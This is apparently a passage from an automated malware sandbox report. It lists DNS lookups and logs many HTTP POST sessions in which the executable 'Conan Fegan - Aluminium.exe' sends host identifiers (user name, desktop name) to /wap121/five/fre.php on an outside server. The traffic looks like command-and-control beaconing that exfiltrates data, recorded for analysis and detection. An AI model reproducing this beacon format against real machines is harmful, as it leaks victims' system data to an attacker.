Feb 22, 2021 19:14:25.386800051 CET	8.8.8.8	192.168.2.4	0x973d	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:26.670846939 CET	8.8.8.8	192.168.2.4	0xe366	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:27.951292992 CET	8.8.8.8	192.168.2.4	0xdaf0	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:29.203366041 CET	8.8.8.8	192.168.2.4	0x969f	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:30.455286026 CET	8.8.8.8	192.168.2.4	0x78c7	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:31.792812109 CET	8.8.8.8	192.168.2.4	0xea94	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:33.069703102 CET	8.8.8.8	192.168.2.4	0xe4e5	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:34.368915081 CET	8.8.8.8	192.168.2.4	0xe926	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:35.686975956 CET	8.8.8.8	192.168.2.4	0x677a	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:36.989465952 CET	8.8.8.8	192.168.2.4	0xd1e2	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:38.275090933 CET	8.8.8.8	192.168.2.4	0x266a	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:39.597359896 CET	8.8.8.8	192.168.2.4	0x4299	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:40.910367966 CET	8.8.8.8	192.168.2.4	0x8033	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:42.204519987 CET	8.8.8.8	192.168.2.4	0xa184	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:43.493170977 CET	8.8.8.8	192.168.2.4	0xa0af	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:44.783324003 CET	8.8.8.8	192.168.2.4	0x532b	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:46.086884975 CET	8.8.8.8	192.168.2.4	0x6761	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:47.375808954 CET	8.8.8.8	192.168.2.4	0xea29	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:48.703289032 CET	8.8.8.8	192.168.2.4	0x6a3a	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:49.995392084 CET	8.8.8.8	192.168.2.4	0x3ab8	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:51.267704964 CET	8.8.8.8	192.168.2.4	0x65f4	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:52.566010952 CET	8.8.8.8	192.168.2.4	0xb1f8	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:53.844918966 CET	8.8.8.8	192.168.2.4	0xcbd8	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:55.140264988 CET	8.8.8.8	192.168.2.4	0x1512	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:56.395956993 CET	8.8.8.8	192.168.2.4	0xf929	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.ritcophysiotherapy.com.au

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49745	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:02.072160959 CET	1419	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 190 Connection: close
Feb 22, 2021 19:13:02.422183037 CET	1425	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: 'ckav.rujones910646DESKTOP-716T771k08F9C4E9C79A3B52B3F739430vCbcb
Feb 22, 2021 19:13:02.801673889 CET	1431	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:02 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49747	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:03.456110954 CET	1433	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 190 Connection: close
Feb 22, 2021 19:13:03.791301966 CET	1434	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: 'ckav.rujones910646DESKTOP-716T771+08F9C4E9C79A3B52B3F739430mPPQc
Feb 22, 2021 19:13:04.158847094 CET	1446	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:04 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49757	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:16.098573923 CET	1548	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:16.432831049 CET	1548	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:16.800559998 CET	1548	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:16 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49758	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:17.407438040 CET	1549	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:17.742592096 CET	1549	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:18.107852936 CET	1550	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:17 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49759	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:18.738996983 CET	1551	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:19.073930979 CET	1551	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:19.442205906 CET	1551	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:19 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49760	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:20.041934967 CET	1566	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:20.379368067 CET	1574	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:20.749983072 CET	1575	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:20 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49763	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:21.333542109 CET	1576	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:21.678217888 CET	1576	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:22.060681105 CET	1576	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:21 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49764	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:22.669300079 CET	1577	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:23.005808115 CET	1577	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:23.380831003 CET	1578	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:23 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49765	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:24.013552904 CET	1578	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:24.359314919 CET	1579	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:24.744710922 CET	1579	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:24 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49766	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:25.353621006 CET	1580	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:25.689847946 CET	1580	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:26.056929111 CET	1581	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:25 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49767	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:26.968743086 CET	1581	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:27.304826021 CET	1582	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:27.672360897 CET	1582	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:27 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49768	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:28.278127909 CET	1583	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:28.616413116 CET	1583	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:28.982165098 CET	1584	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:28 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49749	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:04.676480055 CET	1448	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:05.014952898 CET	1448	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:05.396814108 CET	1448	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:05 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.4	49769	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:29.579658985 CET	1584	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:29.916177034 CET	1585	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:30.280127048 CET	1585	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:30 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	49770	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:30.894737959 CET	1586	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:31.232486963 CET	1586	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:31.604202986 CET	1586	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:31 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.4	49771	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:32.184418917 CET	1587	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:32.523749113 CET	1588	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:32.894319057 CET	1588	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:32 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	49772	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:33.518151999 CET	1589	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:33.856682062 CET	1589	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Feb 22, 2021 19:13:34.233598948 CET	1589	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 22 Feb 2021 18:13:34 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.2.34 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.4	49773	203.170.84.89	80	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2021 19:13:34.813981056 CET	1590	OUT	POST /wap121/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: www.ritcophysiotherapy.com.au Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: AD291CE Content-Length: 163 Connection: close
Feb 22, 2021 19:13:35.148798943 CET	1591	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 39 00 31 00 30 00 36 00 34 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.rujones910646DESKTOP-716T77108F9C4E9C79A3B52B3F739430
